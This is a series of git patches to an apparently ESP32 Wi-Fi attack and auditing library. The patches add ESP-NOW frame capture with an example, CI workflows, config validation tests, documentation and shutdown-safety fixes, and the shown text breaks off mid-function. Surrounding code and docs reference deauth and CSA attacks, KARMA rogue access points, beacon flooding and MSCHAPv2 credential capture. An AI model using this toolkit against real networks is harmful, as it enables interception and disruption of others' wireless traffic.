From c364b9c14f85676a509be812f14c2fc255c23a51 Mon Sep 17 00:00:00 2001 From: Albert Katri Date: Wed, 28 Oct 2026 01:17:46 -0300 Subject: [PATCH 01/14] ci: configure dependabot for github actions and update gitignore --- .github/dependabot.yml | 15 +++++++++++++++ .gitignore | 3 +++ 2 files changed, 18 insertions(+) create mode 100644 .github/dependabot.yml diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000..00f9aa9 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,15 @@ +version: 2 +updates: + # Dependabot version updates for GitHub Actions workflows + - package-ecosystem: "github-actions" + directory: "/" + schedule: + interval: "weekly" + target-branch: "develop" + commit-message: + prefix: "ci" + include: "scope" + open-pull-requests-limit: 5 + labels: + - "dependencies" + - "github-actions" diff --git a/.gitignore b/.gitignore index 93f9fbc..24e12a7 100644 --- a/.gitignore +++ b/.gitignore @@ -13,3 +13,6 @@ docs/ # Internal documentation COOKBOOK.md /tools/ +AGENTS.md +agents.md + From 2c5fab93a2714e97cea6144d4b183ce366fb08de Mon Sep 17 00:00:00 2001 From: Albert Katri Date: Wed, 28 Oct 2026 01:26:06 -0300 Subject: [PATCH 02/14] ci: add codeql security analysis workflow for c++ --- .github/workflows/codeql.yml | 56 ++++++++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 .github/workflows/codeql.yml diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml new file mode 100644 index 0000000..dc4a300 --- /dev/null +++ b/.github/workflows/codeql.yml @@ -0,0 +1,56 @@ +name: "CodeQL Analysis" + +on: + push: + branches: [develop, main] + pull_request: + branches: [develop] + schedule: + - cron: '30 2 * * 1' + +jobs: + analyze: + name: Analyze (C/C++) + runs-on: ubuntu-latest + permissions: + security-events: write + packages: read + actions: read + contents: read + + steps: + - name: Checkout repository + uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + + - name: Set up Python + uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0 + with: + python-version: '3.x' + + - name: Cache PlatformIO packages + uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0 + with: + path: ~/.platformio + key: pio-${{ runner.os }}-${{ hashFiles('**/platformio.ini') }} + restore-keys: pio-${{ runner.os }}- + + - name: Install PlatformIO + run: pip install platformio intelhex + + - name: Initialize CodeQL + uses: github/codeql-action/init@e1c541575b54ca50e5f5dcc7da77615756cf9f51 # v3.39.1 + with: + languages: c-cpp + queries: security-extended + + - name: Build C++ sources with PlatformIO + run: | + pio run -d examples/DynamicControl + pio run -d examples/ExportFormats + pio run -d examples/StorageAndNVS + pio run -d examples/FuzzingAndInjection + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@e1c541575b54ca50e5f5dcc7da77615756cf9f51 # v3.39.1 + with: + category: "/language:c-cpp" From 5caecec5aaba1cba0fee98c868775938a6500ca6 Mon Sep 17 00:00:00 2001 From: Albert Katri Date: Wed, 28 Oct 2026 13:15:20 -0300 Subject: [PATCH 03/14] ci: group github actions updates in dependabot configuration --- .github/dependabot.yml | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.github/dependabot.yml b/.github/dependabot.yml index 00f9aa9..b7447d7 100644 --- a/.github/dependabot.yml +++ b/.github/dependabot.yml @@ -10,6 +10,10 @@ updates: prefix: "ci" include: "scope" open-pull-requests-limit: 5 + groups: + github-actions: + patterns: + - "*" labels: - "dependencies" - "github-actions" From 7be5168b31a505e695550e78ad10762053ec7755 Mon Sep 17 00:00:00 2001 From: Thomaz de Torres Bandeira <54593998+thomazbandeira@users.noreply.github.com> Date: Fri, 14 Aug 2026 01:31:24 -0300 Subject: [PATCH 04/14] feat: add ESP-NOW capture callback API --- src/Politician.h | 19 +++++++++++++++---- src/PoliticianTypes.h | 22 ++++++++++++++++++++++ 2 files changed, 37 insertions(+), 4 deletions(-) diff --git a/src/Politician.h b/src/Politician.h index 0ab466a..5c1a78f 100644 --- a/src/Politician.h +++ b/src/Politician.h @@ -72,6 +72,7 @@ typedef struct { #define MGMT_SUB_AUTH 0xB0 #define MGMT_SUB_DISASSOC 0xA0 #define MGMT_SUB_DEAUTH 0xC0 +#define MGMT_SUB_ACTION 0xD0 // ─── EAPOL ──────────────────────────────────────────────────────────────────── #define EAPOL_LLC_OFFSET 0 @@ -456,13 +457,20 @@ class Politician { void setClientFoundCallback(ClientFoundCb cb) { _clientFoundCb = cb; } /** - * @brief Sets the callback fired when a WPS Enrollee's M1 message is captured. - * The M1 message is the first EAP-WSC frame sent by the Enrollee and is unencrypted, - * revealing device attributes (name, manufacturer, model, auth/config capabilities). - * Only fired if the callback is set — has zero overhead otherwise. + * @brief Set callback for Wi-Fi Protected Setup (WPS) M1 messages. + * Captured from unassociated Probe Requests. + * @param cb Callback function */ void setWpsCallback(WpsCb cb) { _wpsCb = cb; } +#ifndef POLITICIAN_NO_ESPNOW + /** + * @brief Set callback for captured ESP-NOW action frames. + * @param cb Callback function + */ + void setEspNowCallback(EspNowCb cb) { _espNowCb = cb; } +#endif + #ifndef POLITICIAN_NO_MSCHAPV2 /** * @brief Sets the callback fired on a bare EAP-MSCHAPv2 challenge/response exchange. @@ -627,6 +635,9 @@ class Politician { RogueApCb _rogueApCb = nullptr; _FpHookCb _fpHook = nullptr; WpsCb _wpsCb = nullptr; +#ifndef POLITICIAN_NO_ESPNOW + EspNowCb _espNowCb = nullptr; +#endif #ifndef POLITICIAN_NO_KARMA KarmaCb _karmaCb = nullptr; bool _karmaEnabled = false; diff --git a/src/PoliticianTypes.h b/src/PoliticianTypes.h index afb373b..02f8dc4 100644 --- a/src/PoliticianTypes.h +++ b/src/PoliticianTypes.h @@ -365,6 +365,28 @@ typedef void (*KarmaCb)(const KarmaRecord &rec); #endif #endif // POLITICIAN_NO_KARMA +// ─── ESP-NOW Record ─────────────────────────────────────────────────────────── +#ifndef POLITICIAN_NO_ESPNOW +/** + * @brief Delivered to the EspNowCb callback when an ESP-NOW vendor-specific action frame is captured. + */ +struct EspNowRecord { + uint8_t src[6]; ///< Source MAC address (transmitter) + uint8_t dst[6]; ///< Destination MAC address (receiver or broadcast) + uint8_t channel; ///< Channel on which the frame was captured + int8_t rssi; ///< Signal strength of the frame (dBm) + uint32_t ts_usec; ///< RX timestamp in microseconds + const uint8_t* payload; ///< Pointer to the ESP-NOW payload (internal buffer, do not free) + uint16_t length; ///< Length of the ESP-NOW payload +}; + +#ifndef POLITICIAN_NO_STD_FUNCTION +using EspNowCb = std::function; +#else +typedef void (*EspNowCb)(const EspNowRecord &rec); +#endif +#endif // POLITICIAN_NO_ESPNOW + // ─── 802.1X Enterprise Identity Record ───────────────────────────────────────── // EAP method constants (RFC 3748 / RFC 5281) static const uint8_t EAP_METHOD_IDENTITY = 0x01; ///< EAP Identity (always 0x01 for harvested records) From 511a482b8a0dbee0cdf4e197a3b1cbe28345b451 Mon Sep 17 00:00:00 2001 From: Thomaz de Torres Bandeira <54593998+thomazbandeira@users.noreply.github.com> Date: Fri, 14 Aug 2026 01:31:46 -0300 Subject: [PATCH 05/14] feat: parse ESP-NOW action frames --- src/Politician.cpp | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/src/Politician.cpp b/src/Politician.cpp index 3e7d23a..6b22c83 100644 --- a/src/Politician.cpp +++ b/src/Politician.cpp @@ -1058,6 +1058,35 @@ void Politician::_handleMgmt(const ieee80211_hdr_t *hdr, const uint8_t *payload, return; } +#ifndef POLITICIAN_NO_ESPNOW + if (subtype == MGMT_SUB_ACTION) { + if (_espNowCb != nullptr && len >= 15) { + if (payload[0] == 0x7F && + payload[1] == 0x18 && payload[2] == 0xFE && payload[3] == 0x34 && + payload[8] == 0xDD && + payload[10] == 0x18 && payload[11] == 0xFE && payload[12] == 0x34 && + payload[13] == 0x04 && payload[14] == 0x01) { + const uint16_t bodyOffset = 15; + const uint16_t elementBodyLength = payload[9] >= 5 ? payload[9] - 5 : 0; + const uint16_t availableBodyLength = len - bodyOffset; + const uint16_t bodyLength = elementBodyLength < availableBodyLength + ? elementBodyLength + : availableBodyLength; + EspNowRecord rec; + memcpy(rec.src, hdr->addr2, 6); + memcpy(rec.dst, hdr->addr1, 6); + rec.channel = _rxChannel; + rec.rssi = rssi; + rec.ts_usec = (uint32_t)esp_timer_get_time(); + rec.payload = payload + bodyOffset; + rec.length = bodyLength; + _espNowCb(rec); + } + } + return; + } +#endif + // Parse both Beacons and Probe Responses. // Sniffing Probe Responses automatically enables Active Decloaking // of Hidden Networks when clients reconnect following a CSA/Deauth attack. From 721b3629616affba6a69e28c3d750626919bfc13 Mon Sep 17 00:00:00 2001 From: Thomaz de Torres Bandeira <54593998+thomazbandeira@users.noreply.github.com> Date: Fri, 14 Aug 2026 01:31:49 -0300 Subject: [PATCH 06/14] example: add ESP-NOW capture example --- examples/EspNowCapture/platformio.ini | 11 ++++++ examples/EspNowCapture/src/main.cpp | 48 +++++++++++++++++++++++++++ 2 files changed, 59 insertions(+) create mode 100644 examples/EspNowCapture/platformio.ini create mode 100644 examples/EspNowCapture/src/main.cpp diff --git a/examples/EspNowCapture/platformio.ini b/examples/EspNowCapture/platformio.ini new file mode 100644 index 0000000..0252138 --- /dev/null +++ b/examples/EspNowCapture/platformio.ini @@ -0,0 +1,11 @@ +[platformio] +default_envs = esp32 + +[env:esp32] +platform = espressif32 +board = esp32dev +framework = arduino +monitor_speed = 115200 +lib_extra_dirs = ../../ +build_flags = + -D CORE_DEBUG_LEVEL=5 diff --git a/examples/EspNowCapture/src/main.cpp b/examples/EspNowCapture/src/main.cpp new file mode 100644 index 0000000..5dedee7 --- /dev/null +++ b/examples/EspNowCapture/src/main.cpp @@ -0,0 +1,48 @@ +#include +#include + +using namespace politician; + +Politician engine; + +void setup() { + Serial.begin(115200); + delay(2000); + Serial.println("\n\n--- Politician ESP-NOW Capture Example ---"); + + Config cfg; + // We don't necessarily need to capture beacons for ESP-NOW, but it helps populate the AP cache + cfg.capture_filter = LOG_FILTER_BEACONS | LOG_FILTER_PROBES; + + // Initialize the engine + if (engine.begin(cfg) != politician::OK) { + Serial.println("Failed to start Politician engine"); + while (1) delay(100); + } + + // Set the callback to process ESP-NOW payloads + engine.setEspNowCallback([](const EspNowRecord &rec) { + Serial.printf("[ESP-NOW] ch=%d rssi=%d src=%02x:%02x:%02x:%02x:%02x:%02x dst=%02x:%02x:%02x:%02x:%02x:%02x len=%d payload=[", + rec.channel, rec.rssi, + rec.src[0], rec.src[1], rec.src[2], rec.src[3], rec.src[4], rec.src[5], + rec.dst[0], rec.dst[1], rec.dst[2], rec.dst[3], rec.dst[4], rec.dst[5], + rec.length); + + // Print the first few bytes of the payload in hex + int printLen = rec.length > 16 ? 16 : rec.length; + for (int i = 0; i < printLen; i++) { + Serial.printf("%02x ", rec.payload[i]); + } + if (rec.length > 16) Serial.print("..."); + Serial.println("]"); + }); + + // Start hopping to discover ESP-NOW devices on any channel, + // or use engine.lockChannel(1) if you know their specific channel. + engine.startHopping(); + Serial.println("Hopping started. Waiting for ESP-NOW traffic..."); +} + +void loop() { + engine.tick(); +} From 930f353fa27e2cc5e0fd40154168e2fb1a3724e3 Mon Sep 17 00:00:00 2001 From: Albert Katri Date: Wed, 28 Oct 2026 13:03:41 -0300 Subject: [PATCH 07/14] fix: address review feedback on esp-now capture and add to ci matrix - Include esp_timer.h in politician_compat.h under ARDUINO - Restore accurate WPS M1 callback docstring in Politician.h - Clarify buffer lifetime and memcpy recommendation in EspNowRecord - Update EspNowCapture platformio.ini to use symlink lib_deps - Add EspNowCapture to build-examples CI matrix and pin action SHAs - Document EspNowCapture in README examples table --- .github/workflows/build-examples.yml | 7 ++++--- README.md | 1 + examples/EspNowCapture/platformio.ini | 5 +++-- src/Politician.h | 7 +++++-- src/PoliticianTypes.h | 2 +- src/politician_compat.h | 1 + 6 files changed, 15 insertions(+), 8 deletions(-) diff --git a/.github/workflows/build-examples.yml b/.github/workflows/build-examples.yml index 3deb901..0aad4a7 100644 --- a/.github/workflows/build-examples.yml +++ b/.github/workflows/build-examples.yml @@ -30,13 +30,14 @@ jobs: - MsChapCapture - WpsCapture - KarmaResponder + - EspNowCapture steps: - name: Checkout repository - uses: actions/checkout@v4 + uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 - name: Set up Python - uses: actions/setup-python@v5 + uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0 with: python-version: '3.x' @@ -44,7 +45,7 @@ jobs: run: pip install platformio intelhex - name: Cache PlatformIO packages - uses: actions/cache@v4 + uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0 with: path: ~/.platformio key: pio-${{ runner.os }}-${{ hashFiles('**/platformio.ini') }} diff --git a/README.md b/README.md index efde051..e31aab3 100644 --- a/README.md +++ b/README.md @@ -1127,6 +1127,7 @@ beaconFlood(ssids, ssidCount, 6, 5000); | `MsChapCapture` | Bare EAP-MSCHAPv2 credential capture (hashcat -m 5500) | | `KarmaResponder` | KARMA rogue AP responder with runtime Serial toggle | | `PassiveSensing` | RSSI-based human presence and motion detection | +| `EspNowCapture` | ESP-NOW action frame capture and payload parsing | ## Legal & Ethical Use diff --git a/examples/EspNowCapture/platformio.ini b/examples/EspNowCapture/platformio.ini index 0252138..628399e 100644 --- a/examples/EspNowCapture/platformio.ini +++ b/examples/EspNowCapture/platformio.ini @@ -2,10 +2,11 @@ default_envs = esp32 [env:esp32] -platform = espressif32 +platform = espressif32 @ ~6.13.0 board = esp32dev framework = arduino monitor_speed = 115200 -lib_extra_dirs = ../../ +lib_deps = + symlink://../.. build_flags = -D CORE_DEBUG_LEVEL=5 diff --git a/src/Politician.h b/src/Politician.h index 5c1a78f..771682e 100644 --- a/src/Politician.h +++ b/src/Politician.h @@ -457,8 +457,10 @@ class Politician { void setClientFoundCallback(ClientFoundCb cb) { _clientFoundCb = cb; } /** - * @brief Set callback for Wi-Fi Protected Setup (WPS) M1 messages. - * Captured from unassociated Probe Requests. + * @brief Sets the callback fired when a WPS Enrollee's M1 message is captured. + * The M1 message is the first EAP-WSC frame sent by the Enrollee and is unencrypted, + * revealing device attributes (name, manufacturer, model, auth/config capabilities). + * Only fired if the callback is set — has zero overhead otherwise. * @param cb Callback function */ void setWpsCallback(WpsCb cb) { _wpsCb = cb; } @@ -466,6 +468,7 @@ class Politician { #ifndef POLITICIAN_NO_ESPNOW /** * @brief Set callback for captured ESP-NOW action frames. + * Only fired if the callback is set — has zero overhead otherwise. * @param cb Callback function */ void setEspNowCallback(EspNowCb cb) { _espNowCb = cb; } diff --git a/src/PoliticianTypes.h b/src/PoliticianTypes.h index 02f8dc4..9415769 100644 --- a/src/PoliticianTypes.h +++ b/src/PoliticianTypes.h @@ -376,7 +376,7 @@ struct EspNowRecord { uint8_t channel; ///< Channel on which the frame was captured int8_t rssi; ///< Signal strength of the frame (dBm) uint32_t ts_usec; ///< RX timestamp in microseconds - const uint8_t* payload; ///< Pointer to the ESP-NOW payload (internal buffer, do not free) + const uint8_t* payload; ///< Pointer to internal ring-buffer memory; only valid for callback duration. Do not free, retain, or queue past callback return; memcpy if needed. uint16_t length; ///< Length of the ESP-NOW payload }; diff --git a/src/politician_compat.h b/src/politician_compat.h index b366e67..922bc9e 100644 --- a/src/politician_compat.h +++ b/src/politician_compat.h @@ -2,6 +2,7 @@ #ifdef ARDUINO #include + #include #else #include #include From 0c81b3bb9bc0b8dc975e7ade3d3f84a1f38f71f7 Mon Sep 17 00:00:00 2001 From: Albert Katri Date: Wed, 28 Oct 2026 13:45:30 -0300 Subject: [PATCH 08/14] ci(deps): bump github actions to latest releases --- .github/workflows/build-examples.yml | 6 +++--- .github/workflows/codeql.yml | 10 +++++----- .github/workflows/documentation.yml | 6 +++--- 3 files changed, 11 insertions(+), 11 deletions(-) diff --git a/.github/workflows/build-examples.yml b/.github/workflows/build-examples.yml index 0aad4a7..8d7e57a 100644 --- a/.github/workflows/build-examples.yml +++ b/.github/workflows/build-examples.yml @@ -34,10 +34,10 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - name: Set up Python - uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0 + uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0 # v7.1.0 with: python-version: '3.x' @@ -45,7 +45,7 @@ jobs: run: pip install platformio intelhex - name: Cache PlatformIO packages - uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0 + uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ~/.platformio key: pio-${{ runner.os }}-${{ hashFiles('**/platformio.ini') }} diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index dc4a300..721a884 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -20,15 +20,15 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@11d5960a326750d5838078e36cf38b85af677262 # v4.4.0 + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - name: Set up Python - uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0 + uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0 # v7.1.0 with: python-version: '3.x' - name: Cache PlatformIO packages - uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0 + uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: path: ~/.platformio key: pio-${{ runner.os }}-${{ hashFiles('**/platformio.ini') }} @@ -38,7 +38,7 @@ jobs: run: pip install platformio intelhex - name: Initialize CodeQL - uses: github/codeql-action/init@e1c541575b54ca50e5f5dcc7da77615756cf9f51 # v3.39.1 + uses: github/codeql-action/init@4bfa242aa49c5f7c6770b98670d354a7dfac05f8 # v3.39.1 with: languages: c-cpp queries: security-extended @@ -51,6 +51,6 @@ jobs: pio run -d examples/FuzzingAndInjection - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@e1c541575b54ca50e5f5dcc7da77615756cf9f51 # v3.39.1 + uses: github/codeql-action/analyze@4bfa242aa49c5f7c6770b98670d354a7dfac05f8 # v3.39.1 with: category: "/language:c-cpp" diff --git a/.github/workflows/documentation.yml b/.github/workflows/documentation.yml index 07a932b..19118ee 100644 --- a/.github/workflows/documentation.yml +++ b/.github/workflows/documentation.yml @@ -22,7 +22,7 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v4 + uses: actions/checkout@v7 - name: Install Doxygen run: | @@ -34,7 +34,7 @@ jobs: doxygen Doxyfile - name: Upload artifact - uses: actions/upload-pages-artifact@v3 + uses: actions/upload-pages-artifact@v5 with: path: 'docs/html' @@ -48,4 +48,4 @@ jobs: steps: - name: Deploy to GitHub Pages id: deployment - uses: actions/deploy-pages@v4 + uses: actions/deploy-pages@v5 From 8b070cf0c9031f938b1989a1f8f18ca243f9e8bd Mon Sep 17 00:00:00 2001 From: Thomaz de Torres Bandeira <54593998+thomazbandeira@users.noreply.github.com> Date: Fri, 14 Aug 2026 02:01:37 -0300 Subject: [PATCH 09/14] test: add native Config validation coverage --- src/politician_compat.h | 4 +++- test/native/test_config.cpp | 35 +++++++++++++++++++++++++++++++++++ 2 files changed, 38 insertions(+), 1 deletion(-) create mode 100644 test/native/test_config.cpp diff --git a/src/politician_compat.h b/src/politician_compat.h index 922bc9e..6fc3a3a 100644 --- a/src/politician_compat.h +++ b/src/politician_compat.h @@ -1,6 +1,8 @@ #pragma once -#ifdef ARDUINO +#if defined(POLITICIAN_HOST_TEST) + #include +#elif defined(ARDUINO) #include #include #else diff --git a/test/native/test_config.cpp b/test/native/test_config.cpp new file mode 100644 index 0000000..fb2422c --- /dev/null +++ b/test/native/test_config.cpp @@ -0,0 +1,35 @@ +#include +#include + +#define POLITICIAN_HOST_TEST +#include "PoliticianTypes.h" + +using namespace politician; + +int main() { + Config defaults; + const char *warnings[16] = {}; + assert(validateConfig(defaults, warnings, 16) == 0); + + Config invalid; + invalid.hop_min_dwell_ms = 400; + invalid.hop_max_dwell_ms = 200; + invalid.fish_timeout_ms = 100; + invalid.csa_wait_ms = 100; + invalid.hop_dwell_ms = 0; + invalid.deauth_burst_count = 0; + invalid.csa_beacon_count = 0; + invalid.probe_aggr_interval_s = 0; + invalid.min_rssi = -10; + assert(validateConfig(invalid, warnings, 16) == 8); + + Config overflow; + overflow.hop_min_dwell_ms = UINT16_MAX; + assert(validateConfig(overflow, warnings, 16) == 2); + + Config noSmartHopping; + noSmartHopping.smart_hopping = false; + noSmartHopping.hop_min_dwell_ms = UINT16_MAX; + assert(validateConfig(noSmartHopping, warnings, 16) == 0); + return 0; +} \ No newline at end of file From aa6b7a39a90b42393672d1e3fd4524e0c9f5b432 Mon Sep 17 00:00:00 2001 From: Thomaz de Torres Bandeira <54593998+thomazbandeira@users.noreply.github.com> Date: Fri, 14 Aug 2026 02:01:39 -0300 Subject: [PATCH 10/14] docs: document lifecycle callbacks and regulatory scope --- README.md | 28 +++++++++++++++++++++++++ docs/delivery/ChangeSummary.md | 32 +++++++++++++++++++++++++++++ docs/delivery/ImplementationPlan.md | 16 +++++++++++++++ 3 files changed, 76 insertions(+) create mode 100644 docs/delivery/ChangeSummary.md create mode 100644 docs/delivery/ImplementationPlan.md diff --git a/README.md b/README.md index e31aab3..9196da8 100644 --- a/README.md +++ b/README.md @@ -215,6 +215,14 @@ engine.begin(cfg); // begins normally; begin() clamps automatically `validateConfig()` is a free inline function in the `politician` namespace — zero allocations, zero dependencies. +`begin()` rejects a smart-hopping configuration whose minimum dwell cannot be +represented after the `min + 50 ms` correction. Calling `begin()` on an already +initialized engine stops the previous runtime first, so rebegin is deterministic. +Calling `stop()` is safe more than once; it disables capture, unregisters the +instance, and releases the worker resources. The destructor also stops an active +engine. WiFi driver ownership remains process-wide and is reused by later +instances. + ### Configuration ```cpp @@ -291,6 +299,26 @@ void setPacketLogger(PacketCb cb); // Raw promiscuous-mode frames void setLogger(LogCb cb); // Redirect internal log output ``` +Callbacks run on the engine worker task while the engine state is protected. +They should do short, non-blocking work and must not call blocking Politician +methods or retain references to callback records. In particular, +`EspNowRecord::payload` points into the current receive buffer and is valid only +for the duration of the callback; copy it when it must outlive the callback. + +ESP-NOW capture is enabled by default unless `POLITICIAN_NO_ESPNOW` is defined. +The parser accepts Espressif vendor-specific action frames and reports the +source, destination, channel, RSSI, timestamp, and payload through +`setEspNowCallback()`. + +### Regulatory domain + +Regulatory-domain selection is intentionally not implemented yet. The current +channel helper contains common 2.4 GHz and 5 GHz channels but has no authoritative +country source, DFS/CAC state, or API for selecting a country. A future change +should add an explicit country/domain configuration backed by the ESP-IDF WiFi +country API, filter channels from that result, and define behavior for DFS and +unsupported regions before exposing it publicly. + ### Engine Control ```cpp diff --git a/docs/delivery/ChangeSummary.md b/docs/delivery/ChangeSummary.md new file mode 100644 index 0000000..496f696 --- /dev/null +++ b/docs/delivery/ChangeSummary.md @@ -0,0 +1,32 @@ +# Change Summary + +## Changes + +- Added `EspNowCapture` to the example build matrix and restored its example. +- Added the ESP-NOW callback record/parser contract. +- Added deterministic host-side `Config` validation tests. +- Added idempotent stop/rebegin cleanup for per-instance task, ring buffer, and + mutex resources. +- Documented lifecycle and callback contracts. + +## Breaking Changes + +None. Existing public methods and callback signatures remain compatible. + +## Migration Scope + +None. ESP-NOW is available by default and can be excluded with +`POLITICIAN_NO_ESPNOW`. + +## Rollback Strategy + +Revert the commits in reverse order. No database, persistent storage, or +external state migration is introduced. + +## Known Limitations + +- PlatformIO is not installed in the local environment, so ESP32 builds were + not run locally. +- Regulatory-domain selection is documented as a proposal only. +- The host test covers public configuration validation, not ESP32 FreeRTOS + scheduling or WiFi-driver behavior. \ No newline at end of file diff --git a/docs/delivery/ImplementationPlan.md b/docs/delivery/ImplementationPlan.md new file mode 100644 index 0000000..5ec7b4d --- /dev/null +++ b/docs/delivery/ImplementationPlan.md @@ -0,0 +1,16 @@ +# Implementation Plan + +Base: `upstream/main` +Branch: `feat/core-reliability` + +1. Add the existing ESP-NOW capture example to the PlatformIO CI matrix. +2. Add deterministic host-side coverage for public `Config` validation without + including Arduino or ESP32 runtime headers. +3. Preserve the public API while making `begin()` validation reject an unsafe + dwell correction and making stop/rebegin release per-instance runtime + resources. +4. Document lifecycle, callback lifetime/threading constraints, compatibility, + and the regulatory-domain proposal. + +Regulatory-domain behavior remains intentionally out of scope until a country +source and DFS policy can be defined safely. \ No newline at end of file From 78836474756aad0e8f755d9dd9c5d70e35f6675d Mon Sep 17 00:00:00 2001 From: Thomaz de Torres Bandeira <54593998+thomazbandeira@users.noreply.github.com> Date: Wed, 28 Oct 2026 13:58:07 -0300 Subject: [PATCH 11/14] docs: finalize delivery documentation for core reliability --- docs/delivery/ChangeSummary.md | 16 +++++++++++++++- docs/delivery/ImplementationPlan.md | 10 ++++++++++ 2 files changed, 25 insertions(+), 1 deletion(-) diff --git a/docs/delivery/ChangeSummary.md b/docs/delivery/ChangeSummary.md index 496f696..39b8db5 100644 --- a/docs/delivery/ChangeSummary.md +++ b/docs/delivery/ChangeSummary.md @@ -7,6 +7,14 @@ - Added deterministic host-side `Config` validation tests. - Added idempotent stop/rebegin cleanup for per-instance task, ring buffer, and mutex resources. +- Made `begin()` transactional after instance registration, including Wi-Fi + driver teardown when that attempt initialized Wi-Fi. +- Added an ISR-safe shutdown barrier: registry removal and shutdown marking are + serialized, in-flight callbacks drain, and the worker exits before its + ringbuffer and mutex are destroyed. +- Removed the duplicate `[env:esp32]` section from `EspNowCapture`. +- Masked ESP-NOW MACs and disabled payload printing by default in the example; + complete payload diagnostics are compile-time opt-in. - Documented lifecycle and callback contracts. ## Breaking Changes @@ -29,4 +37,10 @@ external state migration is introduced. not run locally. - Regulatory-domain selection is documented as a proposal only. - The host test covers public configuration validation, not ESP32 FreeRTOS - scheduling or WiFi-driver behavior. \ No newline at end of file + scheduling or WiFi-driver behavior. +- PlatformIO is unavailable in the local environment; the native test was + compiled and executed directly with Clang, while the ESP32 example build was + not run locally. +- `stop()` must not be called from a Politician callback running on the worker + task, because waiting for that same worker would deadlock. Callbacks should + signal application state and let the main/application task perform stop. \ No newline at end of file diff --git a/docs/delivery/ImplementationPlan.md b/docs/delivery/ImplementationPlan.md index 5ec7b4d..7a4401a 100644 --- a/docs/delivery/ImplementationPlan.md +++ b/docs/delivery/ImplementationPlan.md @@ -12,5 +12,15 @@ Branch: `feat/core-reliability` 4. Document lifecycle, callback lifetime/threading constraints, compatibility, and the regulatory-domain proposal. +Security remediation completed on the current branch: + +5. Make `begin()` roll back registry, Wi-Fi, mutex, ringbuffer, and worker + resources on every post-registration failure. +6. Make `stop()` mark shutdown and unregister under an ISR-safe critical + section, wait for in-flight callbacks, then wait for the worker before + deleting the ringbuffer and mutex. +7. Keep the ESP-NOW example's MAC output masked and payload output disabled by + default. Full payload diagnostics require `ESP_NOW_DIAGNOSTICS=1`. + Regulatory-domain behavior remains intentionally out of scope until a country source and DFS policy can be defined safely. \ No newline at end of file From 8b75bf3c49ffd129b9302ab8708af09788fdf495 Mon Sep 17 00:00:00 2001 From: Thomaz de Torres Bandeira <54593998+thomazbandeira@users.noreply.github.com> Date: Wed, 28 Oct 2026 16:37:48 -0300 Subject: [PATCH 12/14] fix(core): ensure thread-safe worker shutdown and promiscuous callback dispatch --- src/Politician.cpp | 161 ++++++++++++++++++++++++++++++++++++------ src/Politician.h | 13 ++++ src/PoliticianTypes.h | 2 + 3 files changed, 156 insertions(+), 20 deletions(-) diff --git a/src/Politician.cpp b/src/Politician.cpp index 6b22c83..d0c672b 100644 --- a/src/Politician.cpp +++ b/src/Politician.cpp @@ -11,6 +11,7 @@ namespace politician { // ─── Static members ─────────────────────────────────────────────────────────── Politician *Politician::_instances[POLITICIAN_MAX_INSTANCES] = {}; bool Politician::_wifiInitialized = false; +portMUX_TYPE Politician::_instanceMux = portMUX_INITIALIZER_UNLOCKED; // Default 2.4GHz hopping sequence (channels 1-13) const uint8_t Politician::HOP_SEQ[] = {1, 6, 11, 2, 7, 3, 8, 4, 9, 5, 10, 12, 13}; @@ -79,6 +80,10 @@ Politician::Politician() #endif } +Politician::~Politician() { + stop(); +} + // ─── Logging ───────────────────────────────────────────────────────────────── void Politician::_log(const char *fmt, ...) { #ifndef POLITICIAN_NO_LOGGING @@ -98,10 +103,43 @@ void Politician::_log(const char *fmt, ...) { // ─── begin() ───────────────────────────────────────────────────────────────── Error Politician::begin(const Config &cfg) { + if (cfg.smart_hopping && cfg.hop_min_dwell_ms > UINT16_MAX - 50) { + return ERR_INVALID_ARG; + } + + if (_initialized) stop(); + _cfg = cfg; + bool wifiDriverStarted = false; + + auto rollback = [&]() { + stop(); + if (wifiDriverStarted) { + bool otherActive = false; + portENTER_CRITICAL(&_instanceMux); + for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) { + if (_instances[i] != nullptr && _instances[i] != this) { + otherActive = true; + break; + } + } + if (!otherActive) { + _wifiInitialized = false; + } + portEXIT_CRITICAL(&_instanceMux); + + if (!otherActive) { + esp_wifi_set_promiscuous(false); + esp_wifi_set_promiscuous_rx_cb(nullptr); + esp_wifi_stop(); + esp_wifi_deinit(); + } + } + }; // ── Register this instance in the shared instance registry ─────────────── bool registered = false; + portENTER_CRITICAL(&_instanceMux); for (uint8_t i = 0; i < POLITICIAN_MAX_INSTANCES; i++) { if (_instances[i] == this) { 